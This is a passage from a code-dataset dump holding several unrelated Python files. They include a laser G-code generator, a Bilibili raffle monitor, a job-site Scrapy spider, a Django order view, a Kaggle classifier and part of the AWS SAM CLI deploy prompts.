pixel_size_mm feedrate max_laser_power number_of_colours\n# e.g. of correct execution commands:\n# python .\\imgcode.py \"C:\\lena.png\" test.nc 0 0 10 0.5 100 1000 2\n# python .\\imgcode.py lena.png test.nc 0 0 10 0.2 220 255 5\n# \n# requirements contains list of modules I had it working on\n# \n# todo:\n# \n# check and correct variable types, round floats\n# add some GUI maybe?\n#\n# \n# \n# \n\n# Copyright 2019 M.Widomski\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport numpy\nimport matplotlib\nimport matplotlib.pyplot\nimport imageio\nimport PIL.Image\nimport sys\nimport colorama\ncolorama.init()\n\nprint(\"\\n\\n\"+colorama.Fore.CYAN+\"imgcode - simple image etching gcode generator\"+colorama.Fore.RESET+\"\\n\\n\")\n# uncoment for berry veautiful splash screen\n# print(colorama.Fore.GREEN+\"\\t _ __\"+\"\\n\"+\"\\t \\\\ / | | \\\\ |\\\\/| | |\"+\"\\n\"+\"\\t \\\\ / | | | | | | |\"+\"\\n\"+\"\\t \\\\/ | |_/ | | |__|\\n \\t\\tpresents \\n\"+colorama.Fore.RED+\"\\t\\timgcode\"+colorama.Fore.RESET+\"\\n\"+\"\\t\"+colorama.Back.LIGHTCYAN_EX+colorama.Fore.RED+\"mmmh... those aesthetics!!!\"+colorama.Back.RESET+colorama.Fore.RESET+\"\\n\\t\"+colorama.Back.LIGHTCYAN_EX+colorama.Fore.RED+\" just berry veautiful!!! \"+colorama.Back.RESET+colorama.Fore.RESET+\"\\n\\n\")\n\n\n\ndef fileDialog(fileName):\n try:\n f = open(fileName, 'r')\n f.close\n except:\n print(fileName+\" it is\")\n f = open(fileName, 'w')\n f.close\n else:\n answer = input(\n fileName+\" exists, do you want to overwrite it? (Y/n): \")\n if (answer == 'y')or(answer == 'Y')or(answer == ''):\n f = open(fileName, 'w')\n print(fileName+' will be overwritten')\n f.close\n elif answer == 'n'or(answer == 'N'):\n raise NameError(\"Specify right path next time\")\n else:\n raise NameError(\"wrong answer\")\n return f\n\nif len(sys.argv) != 10:\n\n print(colorama.Fore.RED+'Number of arguments:', len(sys.argv), 'arguments. (required 10 arguments)')\n print('Argument List:', str(sys.argv))\n print(\"correct execution command: \")\n print(\"python imgcode.py image_path output_file_path x_offset_mm y_offset_mm output_image_horizontal_size_mm pixel_size_mm feedrate max_laser_power number_of_colours\")\n print(\"e.g. python .\\\\imgcode.py lena.png test.nc 0 0 10 0.2 100 255 5\")\n print(\"e.g. python .\\\\imgcode.py \\\"C:\\\\Documents\\\\laser files\\\\lena.png\\\" \\\"C:\\\\laser files\\\\out files\\\\output_gcode.nc\\\" 0 0 10 0.2 100 255 5\"+colorama.Fore.RESET) \n raise NameError(\"wrong execution command\")\nprint(\"so far so good, now parsing values...\")\n\n# imread and convert to 8bit grayscale\ntry:\n img = imageio.imread(sys.argv[1], as_gray=True, pilmode=\"RGB\")\n print(\"image loaded...\")\nexcept:\n raise NameError(\"Something is wrong with image. Probably path\")\n# imag = imag.astype(numpy.uint8)\n\n# open text file for writing:\nf = fileDialog(sys.argv[2])\n\n# parsing values\ntry:\n x_offset_mm = float(sys.argv[3])\n y_offset_mm = float(sys.argv[4])\n output_image_horizontal_size_mm = float(sys.argv[5])\n pixel_size_mm = float(sys.argv[6])\n feedrate = int(sys.argv[7])\n max_laser_power = int(sys.argv[8])\n number_of_colours = int(sys.argv[9])\n print(\"parameters look OK...\")\nexcept:\n raise NameError(\"Some of parameters are not numbers\")\n\nprint(\"processing...\")\n# reseize image\ny_size_input = len(img)\nx_size_input = len(img[0])\n\n# scale calculation \nx_size_output = output_image_horizontal_size_mm/pixel_size_mm\nscale = x_size_output/x_size_input\n# reseize image\nimg = PIL.Image.fromarray(img,)\nimg = img.resize((int(scale*x_size_input), int(scale*y_size_input)))\nimg = numpy.asarray(img)\n\n# image size calculation\ny_size_output = len(img)\nx_size_output = len(img[0])\n\n# negative for laser etching \nimg=numpy.subtract(255,img)\n\n# set max value of image colour to number of colours \nnumber_of_colours -= 1\nimg = numpy.rint(numpy.multiply(img, number_of_colours/255))\n\n#save preview\nimg_out=numpy.empty((x_size_output,y_size_output))\nimg_out=numpy.rint(numpy.multiply(img, 255/number_of_colours))\nimg_out = img_out.astype(numpy.uint8)\nimageio.imwrite('out_img.png',img_out)\n\n#convert to feedrates\nimg = numpy.rint(numpy.multiply(img, max_laser_power/number_of_colours))\n\n# display preview before processing - requires closing plot window before proceeding \n# img2=numpy.subtract(number_of_colours,img)\n# matplotlib.pyplot.imshow(img2, cmap='gray')\n# matplotlib.pyplot.show()\n\n# flip up-down for simplicity \nimg=numpy.flip(img,0)\n\n#Gcode processing\nf.write(\"( imgcode generated code )\\n\")\nf.write(\"( developed by M. \\\"Vidmo\\\" Widomski )\\n\") \nf.write(\"( github.com/vidmo91 )\\n\")\nf.write(\"( hackaday.io/vidmo91 )\\n\")\nf.write(\" \\n\")\nf.write(\"M4 S0 \\n\")\nf.write(\"F\"+str(feedrate)+\"\\n\")\nf.write(\"G0 Z0 ( for some grbl senders compatibility )\\n\")\nf.write(\" \\n\") \n#add your G-CODE file header here\n# f.write(\"M5 S0\\n\")\n\n\n\n\n\nfor y in range(y_size_output):\n prev_power=int(0)\n \n if 1-y%2:\n # prev_power=int(0)\n for x in range(x_size_output):\n if (x == 0 and img[y][x] != 0): #first point, diffrent from 0\n f.write(\"G0 X\"+str(round(x*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n elif x==(x_size_output-1):#eol\n if (prev_power==0):\n f.write(\"S0\\n\")\n else:\n f.write(\"G1 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S0\\n\")\n prev_power=0\n elif (prev_power != img[y][x]):#different power\n if (prev_power==0): #transition from 0 to higher power\n f.write(\"G0 X\"+str(round((x-1)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n if(prev_power != 0):# transition from some power to another\n f.write(\"G1 X\"+str(round((x-1)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n else:\n # prev_power=int(0)\n for x in reversed(range(x_size_output)):\n if (x == x_size_output-1 and img[y][x] != 0): #first point, diffrent from 0\n f.write(\"G0 X\"+str(round(x*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n elif x==0:#eol\n if (prev_power==0):\n f.write(\"S0\\n\")\n else:\n f.write(\"G1 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S0\\n\")\n prev_power=0\n elif (prev_power != img[y][x]):#different power\n if (prev_power==0): #transition from 0 to higher power\n f.write(\"G0 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n if(prev_power != 0):# transition from some power to another\n f.write(\"G1 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n\nf.write(\"M5 S0\\n\")\nf.close()\n \nprint(colorama.Fore.GREEN+\"\\neverything done, cya!\\n\")\ninput(\"press ENTER to exit\")","sub_path":"imGcode/imGcode.py","file_name":"imGcode.py","file_ext":"py","file_size_in_byte":9266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"525112436","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom preprocesamiento.funciones import buscar_csv\n\n''' Calcula la media del número de registros del mismo paciente en cada archivo '''\n\n# PARÁMETROS\nruta_carpeta = 'D:/Dropbox/UNI/TFM/datos/3 - Fecha a timestamp'\nruta_grafico = 'Media pacientes repetidos - diagrama de barras.pdf'\nclave_principal = 'PATNO'\n\n# leer tablas\ntablas = [pd.read_csv(ruta_arch, sep=',', float_precision='round_trip') for ruta_arch in buscar_csv(ruta_carpeta)]\n\n# obtener los registros de cada archivo\nregistros = [tabla[clave_principal].values for tabla in tablas]\n\n# número de registros de cada archivo\nnums_registros = [len(registros_arch) for registros_arch in registros]\n\n# número de pacientes únicos de cada archivo\nnums_pacientes = [len(np.unique(registros_arch)) for registros_arch in registros]\n\n# medias de repeticiones\nmedias_repeticiones = [nums_registros[i] / nums_pacientes[i] for i in range(len(registros))]\n\n# generar diagrama de barras\netiquetas = [os.path.splitext(os.path.basename(r))[0] for r in buscar_csv(ruta_carpeta)]\nplt.figure(figsize=(6, 7))\nplt.bar(etiquetas, medias_repeticiones, color='royalblue')\n\n# marcas horizontales\naxes = plt.gca()\naxes.yaxis.grid()\n\n# etiquetas eje x\nplt.xticks(rotation=45, ha='right', rotation_mode='anchor')\n\n# título\nplt.title('Media de nº de registros del mismo paciente')\n\n# guardar\nplt.tight_layout()\nplt.savefig(ruta_grafico)\n","sub_path":"estadísticas/media_repetidos.py","file_name":"media_repetidos.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"431086048","text":"import asyncio\r\n\r\nimport bili_statistics\r\nimport utils\r\nfrom reqs.guard_raffle_handler import GuardRaffleHandlerReq\r\nfrom tasks.utils import UtilsTask\r\nfrom .task_func_decorator import normal\r\nfrom .base_class import ForcedTask\r\n\r\n\r\nclass GuardRafflJoinTask(ForcedTask): # 负责push\r\n TASK_NAME = 'join_guard_raffle'\r\n @staticmethod\r\n async def check(user, real_roomid, try_times=10):\r\n for i in range(try_times):\r\n json_rsp = await user.req_s(GuardRaffleHandlerReq.check, user, real_roomid)\r\n # print(json_rsp)\r\n if json_rsp['data'] and (try_times == 1 or i >= try_times/2):\r\n break\r\n await asyncio.sleep(1.7)\r\n else:\r\n print(f'{real_roomid}没有guard或者guard已经领取')\r\n return\r\n next_step_settings = []\r\n data = json_rsp['data']\r\n for j in data:\r\n raffle_id = j['id']\r\n # 总督长达一天,额外处理\r\n max_wait = j['time']\r\n privilege_type = j['privilege_type']\r\n if privilege_type != 1 and max_wait >= 100 \\\r\n and (not bili_statistics.is_raffleid_duplicate(raffle_id)):\r\n print('本次获取到的抽奖id为', raffle_id)\r\n raffle_data = {\r\n 'raffle_id': raffle_id,\r\n 'room_id': real_roomid,\r\n 'raffle_type': 'GUARD',\r\n 'end_time': max_wait + utils.curr_time()\r\n }\r\n next_step_setting = (-2, (0, 0), raffle_data)\r\n next_step_settings.append(next_step_setting)\r\n bili_statistics.add2raffle_ids(raffle_id)\r\n return next_step_settings\r\n \r\n @staticmethod\r\n @normal\r\n async def work(user, raffle_data: dict):\r\n bili_statistics.add2joined_raffles('大航海(合计)', user.id)\r\n await UtilsTask.send2yj_monitor(user, raffle_data)\r\n\r\n\r\nclass GuardYjLoadPollTask(ForcedTask): # 负责load,不会push\r\n TASK_NAME = 'join_guard_raffle'\r\n\r\n @staticmethod\r\n async def check(\r\n _, __, raffle_id):\r\n json_rsp = {'data': [{'id': raffle_id, 'time': 65, 'privilege_type': 10086}]}\r\n data = json_rsp['data']\r\n for j in data:\r\n raffle_id = j['id']\r\n if not bili_statistics.is_raffleid_duplicate(raffle_id):\r\n print('本次获取到的抽奖id为', raffle_id)\r\n bili_statistics.add2raffle_ids(raffle_id)\r\n return\r\n","sub_path":"monitor/tasks/guard_raffle_handler.py","file_name":"guard_raffle_handler.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"445093620","text":"# Copyright (c) 2010 Mark Sandstrom\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nfrom declarations import OrderedDeclaration, SubFactory\n\n\nATTR_SPLITTER = '__'\n\n\nclass CyclicDefinitionError(Exception):\n \"\"\"Raised when cyclic definition were found.\"\"\"\n\n\nclass LazyStub(object):\n \"\"\"A generic container that allows for getting but not setting of attributes.\n\n Attributes are set at initialization time.\"\"\"\n\n initialized = False\n\n def __init__(self, attrs):\n self.__attrs = attrs\n self.__values = {}\n self.__pending = []\n self.initialized = True\n\n def __fill__(self):\n res = {}\n for attr in self.__attrs:\n res[attr] = getattr(self, attr)\n return res\n\n def __getattr__(self, name):\n if name in self.__pending:\n raise CyclicDefinitionError(\n \"Cyclic lazy attribute definition for %s. Current cycle is %r.\" %\n (name, self.__pending))\n elif name in self.__values:\n return self.__values[name]\n elif name in self.__attrs:\n val = self.__attrs[name]\n if isinstance(val, LazyValue):\n self.__pending.append(name)\n val = val.evaluate(self)\n assert name == self.__pending.pop()\n self.__values[name] = val\n return val\n else:\n raise AttributeError(\n \"The parameter %s is unknown. Evaluated attributes are %r, definitions are %r.\" % (name, self.__values, self.__attrs))\n\n\n def __setattr__(self, name, value):\n if not self.initialized:\n return super(LazyStub, self).__setattr__(name, value)\n else:\n raise AttributeError('Setting of object attributes is not allowed')\n\n\nclass DeclarationDict(dict):\n def update_with_public(self, d):\n \"\"\"Updates the DeclarationDict from a class definition dict.\n\n Takes into account all public attributes and OrderedDeclaration\n instances; ignores all attributes starting with '_'.\n\n Returns a dict containing all remaining elements.\n \"\"\"\n remaining = {}\n for k, v in d.iteritems():\n if k.startswith('_') and not isinstance(v, OrderedDeclaration):\n remaining[k] = v\n else:\n self[k] = v\n return remaining\n\n def copy(self, extra=None):\n new = DeclarationDict()\n new.update(self)\n if extra:\n new.update(extra)\n return new\n\n\nclass LazyValue(object):\n def evaluate(self, obj):\n raise NotImplementedError(\"This is an abstract method.\")\n\n\nclass SubFactoryWrapper(LazyValue):\n def __init__(self, subfactory, subfields, create):\n self.subfactory = subfactory\n self.subfields = subfields\n self.create = create\n\n def evaluate(self, obj):\n return self.subfactory.evaluate(self.create, self.subfields)\n\n\nclass OrderedDeclarationWrapper(LazyValue):\n def __init__(self, declaration, sequence):\n self.declaration = declaration\n self.sequence = sequence\n\n def evaluate(self, obj):\n return self.declaration.evaluate(self.sequence, obj)\n\n\nclass AttributeBuilder(object):\n \"\"\"Builds attributes from a factory and extra data.\"\"\"\n\n def __init__(self, factory, extra=None):\n if not extra:\n extra = {}\n self.factory = factory\n self._attrs = factory.declarations(extra)\n self._subfields = self._extract_subfields()\n\n def _extract_subfields(self):\n sub_fields = {}\n for key in list(self._attrs):\n if ATTR_SPLITTER in key:\n cls_name, attr_name = key.split(ATTR_SPLITTER, 1)\n if cls_name in self._attrs:\n sub_fields.setdefault(cls_name, {})[attr_name] = self._attrs.pop(key)\n return sub_fields\n\n def build(self, create):\n self.factory.sequence = self.factory._generate_next_sequence()\n\n wrapped_attrs = {}\n for k, v in self._attrs.iteritems():\n if isinstance(v, SubFactory):\n v = SubFactoryWrapper(v, self._subfields.get(k, {}), create)\n elif isinstance(v, OrderedDeclaration):\n v = OrderedDeclarationWrapper(v, self.factory.sequence)\n wrapped_attrs[k] = v\n\n stub = LazyStub(wrapped_attrs)\n return stub.__fill__()\n\n\nclass StubObject(object):\n \"\"\"A generic container.\"\"\"\n\n pass\n","sub_path":"factory/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":5458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"39588563","text":"# -*- coding: utf-8 -*-\n\"\"\"\n This spider is a JoblineHU spider created on top of the ATSSpider\n scrapy crawl jobline_hu -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"https://jobline.hu/allasok/?o=1\"\n\n sample job url:\n https://jobline.hu/allas/gyartastechnologia_tervezomernok_elektromos_jarmuhajtasok/GT-3038\n\"\"\"\n\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom urlparse import urljoin\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, ConvertDateString, RemoveBadElements\n\n\nclass JoblineHU(ATSSpider):\n\n name = \"jobline_hu\"\n\n def parse(self, response):\n selector = Selector(response)\n jobs = selector.xpath('//div[@class=\"listbox r cl\"]')\n for job in jobs:\n url = job.xpath('.//h1/a/@href').extract()\n if url:\n yield Request(\n callback=self.parse_job_callback(),\n meta={\n 'title': job.xpath('.//h1/a/text()').extract(),\n 'company': job.xpath(\n './/span[@itemprop=\"hiringOrganization\"]/span/a/text()'\n ).extract(),\n 'location': job.xpath(\n './/span[@itemprop=\"addressLocality\"]/a/text()'\n ).extract(),\n 'date': job.xpath(\n './/span[@itemprop=\"datePosted\"]/text()'\n ).extract(),\n },\n url=urljoin(response.url, url[0])\n )\n\n next_page_url = selector.xpath(\n '//a[text()=\"%s\"]/@href' % unicode('Következő »', 'utf-8')\n ).extract()\n if next_page_url:\n yield Request(\n callback=self.parse,\n url=urljoin(response.url, next_page_url[0])\n )\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n\n loader.add_xpath(\n 'description',\n '//section[@class=\"adv\"]',\n RemoveBadElements(['a', 'img', 'style'])\n )\n\n loader.add_value(\n 'date', response.meta.get('date', ''),\n ConvertDateString('%Y. %m. %d.')\n )\n loader.add_value(\n 'referencenumber', response.url.split('/')[-1],\n Prefix('%s-' % self.name)\n )\n loader.add_value('company', response.meta.get('company'))\n loader.add_value('location', response.meta.get('location'))\n loader.add_value('title', response.meta.get('title'))\n loader.add_value('url', response.url)\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/jobline_hu.py","file_name":"jobline_hu.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"238399617","text":"import feedparser\nimport json\n\n\ndef parse(url):\n return feedparser.parse(url)\n\n\ndef get_books(parsed):\n books = []\n entries = parsed['entries']\n for entry in entries:\n parsed_date = entry['published'].split()[:4]\n books.append({\n # 'book_name': parsed.feed['title'],\n 'id': entry['id'],\n 'audio_file': entry['id'],\n 'duration': entry['itunes_duration'],\n # 'chapter_name': entry['title'],\n 'taught_by': entry['summary'],\n 'subtitle': entry['subtitle'],\n 'published': entry['published'],\n 'parsed_date': ' '.join(entry['published'].split()[:4]),\n 'tags': entry['tags']\n })\n\n result = {'title': parsed.feed['title'], 'books': books}\n print('check below')\n final_data = json.dumps(result)\n print(type(final_data))\n return result\n\n# data = parse(URL)\n# test = get_books(data)\n# json_data = json.dumps(test)\n# print(json_data)\n","sub_path":"api/rss_to_json.py","file_name":"rss_to_json.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"389338488","text":"from models import Fruta\nfrom ProjTeste import app\nfrom flask import render_template \n\n@app.route('/')\ndef index():\n\tbanana = Fruta(nome='banana')\n\tbanana.descricao = 'bananas evitam caibras'\n\tbanana.preco = 3.50\n\tbanana.save()\n\n\tmaca = Fruta(nome='maca')\n\tmaca.descricao = 'macas evitam caibras'\n\tmaca.preco = 2.50\n\tmaca.save()\n\n\tfor fruta in Fruta.objects:\n\t\tprint(fruta.nome)\n\n\treturn render_template('index.html')\n","sub_path":"ProjTeste/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"454438793","text":"from django.shortcuts import render\nfrom .models import OrderItem, Order\nfrom .forms import OrderCreateForm\nfrom cart.cart import Cart\nfrom paytm import Checksum\nfrom paytm.views import payment\nfrom django.contrib.auth.decorators import login_required\nfrom django.forms.models import inlineformset_factory\nfrom django.conf import settings\nfrom django.forms import formset_factory\n\n\n@login_required\ndef order_create(request):\n cart = Cart(request)\n data_dict={}\n if request.method == 'POST':\n data_dict={}\n for key in request.POST:\n data_dict[key] = request.POST[key]\n OrderFormSet = formset_factory(OrderCreateForm, extra=data_dict['form-TOTAL_FORMS'])\n formset=OrderFormSet(request.POST)\n # form = OrderCreateForm(request.POST)\n if formset.is_valid():\n # order=Order.objects.create(customer=request.user, hostel=data_dict['hostel'], wing=data_dict['wing'], room_no=data_dict['room_no'], phone_no=data_dict['phone_no'], delivery_time=data_dict['delivery_time'])\n # orders = formset.save(commit=False)\n orders_id=[]\n for order in formset:\n order_ID = Checksum.__id_generator__()\n order.instance.order_id=order_ID\n order.instance.customer = request.user\n order.instance.save()\n\n # order.customer=request.user\n # order.save()\n for item in cart:\n OrderItem.objects.create(\n order=order.instance,\n product=item['product'],\n price=item['price'],\n quantity=item['quantity']\n )\n orders_id.append(order.instance.id)\n cart.clear()\n order=Order.objects.get(order_id=order_ID)\n bill_amount=order.get_total_cost()\n return payment(request, order_ID, bill_amount)\n # return render(request, 'orders/order/created.html', {'orders': orders_id})\n else:\n OrderFormSet = formset_factory(OrderCreateForm, extra=1)\n formset = OrderFormSet()\n return render(request, 'orders/order/create.html', {'formset': formset})\n\n\n\n# def create(request):\n# AddressInlineFormSet = inlineformset_factory(Address, Store, form=AddressForm)\n\n# if request.method == 'POST':\n# storeForm = StoreForm(request.POST)\n\n# if storeForm.is_valid():\n# new_store = storeForm.save()\n# addressInlineFormSet = AddressInlineFormSet(request.POST, request.FILES, instance=new_store)\n\n# if addressInlineFormSet.is_valid():\n# addressInlineFormSet.save()\n# return HttpResponseRedirect(reverse('some_happy_customer_url'))\n\n# else:\n# classificationformset = ClassificationInlineFormSet(request.POST, request.FILES, instance=new_store)\n# else:\n# addressInlineFormSet = AddressInlineFormSet()\n# storeForm = StoreForm()\n# return render(request, 'create.html', locals())","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"278816191","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport seaborn as sns\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import classification_report\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nfrom subprocess import check_output\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n# Any results you write to the current directory are saved as output.\ndata_frame_train = pd.read_csv('../input/train.csv')\ndata_frame_test = pd.read_csv(\"../input/test.csv\")\nprint(data_frame_train.shape)\nprint(data_frame_train.head(5))\nprint(data_frame_train.dtypes)\nprint(data_frame_train.describe())\nclass_count = data_frame_train.groupby('type').size()\nprint(class_count)\nsns.set()\n\nsns.pairplot(data_frame_train,hue=\"type\")\nprint(data_frame_test.columns)\ndf = data_frame_train[\"type\"]\nindexes_test = data_frame_test[\"id\"]\n\ndata_frame_train = data_frame_train.drop([\"type\",\"color\",\"id\"],axis=1)\ndata_frame_test = data_frame_test.drop([\"color\",\"id\"],axis=1)\ndata_frame_train = pd.get_dummies(data_frame_train)\ndata_frame_test = pd.get_dummies(data_frame_test)\nfrom sklearn.model_selection import train_test_split\n\nx_train, x_test, y_train, y_test = train_test_split(data_frame_train, df, test_size=0.3, random_state=0)\nfrom sklearn.linear_model import LogisticRegression\n\nlr = LogisticRegression(penalty='l2',C=1000000)\nlr.fit(x_train,y_train)\ny_pred= lr.predict(x_test) \n\nprint(classification_report(y_pred,y_test))\ny_pred = lr.predict(data_frame_test)\n\nY = pd.DataFrame()\nY[\"id\"] = indexes_test\nY[\"type\"] = y_pred\nY.to_csv(\"submission.csv\",index=False)\n\n","sub_path":"kaggle/ghouls-goblins-and-ghosts-boo/script_16.py","file_name":"script_16.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"550362365","text":"\"\"\"\nClass to manage all the prompts during a guided sam deploy\n\"\"\"\n\nimport logging\n\nimport click\nfrom click.types import FuncParamType\nfrom click import prompt\nfrom click import confirm\n\nfrom samcli.commands._utils.options import _space_separated_list_func_type\nfrom samcli.commands._utils.template import get_template_parameters\nfrom samcli.commands.deploy.exceptions import GuidedDeployFailedError\nfrom samcli.commands.deploy.guided_config import GuidedConfig\nfrom samcli.lib.bootstrap.bootstrap import manage_stack\nfrom samcli.lib.utils.colors import Colored\n\nLOG = logging.getLogger(__name__)\n\n\nclass GuidedContext:\n def __init__(\n self,\n template_file,\n stack_name,\n s3_bucket,\n s3_prefix,\n region=None,\n profile=None,\n confirm_changeset=None,\n capabilities=None,\n parameter_overrides=None,\n save_to_config=True,\n config_section=None,\n ):\n self.template_file = template_file\n self.stack_name = stack_name\n self.s3_bucket = s3_bucket\n self.s3_prefix = s3_prefix\n self.region = region\n self.profile = profile\n self.confirm_changeset = confirm_changeset\n self.capabilities = (capabilities,)\n self.parameter_overrides = parameter_overrides\n self.save_to_config = save_to_config\n self.config_section = config_section\n self.guided_stack_name = None\n self.guided_s3_bucket = None\n self.guided_s3_prefix = None\n self.guided_region = None\n self.guided_profile = None\n self._capabilities = None\n self._parameter_overrides = None\n self.start_bold = \"\\033[1m\"\n self.end_bold = \"\\033[0m\"\n self.color = Colored()\n\n @property\n def guided_capabilities(self):\n return self._capabilities\n\n @property\n def guided_parameter_overrides(self):\n return self._parameter_overrides\n\n def guided_prompts(self, parameter_override_keys):\n default_stack_name = self.stack_name or \"sam-app\"\n default_region = self.region or \"us-east-1\"\n default_capabilities = (\"CAPABILITY_IAM\",)\n input_capabilities = None\n\n click.echo(\n self.color.yellow(\n \"\\n\\tSetting default arguments for 'sam deploy'\\n\\t=========================================\"\n )\n )\n\n stack_name = prompt(\n f\"\\t{self.start_bold}Stack Name{self.end_bold}\", default=default_stack_name, type=click.STRING\n )\n region = prompt(f\"\\t{self.start_bold}AWS Region{self.end_bold}\", default=default_region, type=click.STRING)\n input_parameter_overrides = self.prompt_parameters(parameter_override_keys, self.start_bold, self.end_bold)\n\n click.secho(\"\\t#Shows you resources changes to be deployed and require a 'Y' to initiate deploy\")\n confirm_changeset = confirm(\n f\"\\t{self.start_bold}Confirm changes before deploy{self.end_bold}\", default=self.confirm_changeset\n )\n click.secho(\"\\t#SAM needs permission to be able to create roles to connect to the resources in your template\")\n capabilities_confirm = confirm(\n f\"\\t{self.start_bold}Allow SAM CLI IAM role creation{self.end_bold}\", default=True\n )\n\n if not capabilities_confirm:\n input_capabilities = prompt(\n f\"\\t{self.start_bold}Capabilities{self.end_bold}\",\n default=list(default_capabilities),\n type=FuncParamType(func=_space_separated_list_func_type),\n )\n\n save_to_config = confirm(f\"\\t{self.start_bold}Save arguments to samconfig.toml{self.end_bold}\", default=True)\n\n s3_bucket = manage_stack(profile=self.profile, region=region)\n click.echo(f\"\\n\\t\\tManaged S3 bucket: {s3_bucket}\")\n click.echo(\"\\t\\tA different default S3 bucket can be set in samconfig.toml\")\n\n self.guided_stack_name = stack_name\n self.guided_s3_bucket = s3_bucket\n self.guided_s3_prefix = stack_name\n self.guided_region = region\n self.guided_profile = self.profile\n self._capabilities = input_capabilities if input_capabilities else default_capabilities\n self._parameter_overrides = input_parameter_overrides if input_parameter_overrides else self.parameter_overrides\n self.save_to_config = save_to_config\n self.confirm_changeset = confirm_changeset\n\n def prompt_parameters(self, parameter_override_keys, start_bold, end_bold):\n _prompted_param_overrides = {}\n if parameter_override_keys:\n for parameter_key, parameter_properties in parameter_override_keys.items():\n no_echo = parameter_properties.get(\"NoEcho\", False)\n if no_echo:\n parameter = prompt(\n f\"\\t{start_bold}Parameter {parameter_key}{end_bold}\", type=click.STRING, hide_input=True\n )\n _prompted_param_overrides[parameter_key] = {\"Value\": parameter, 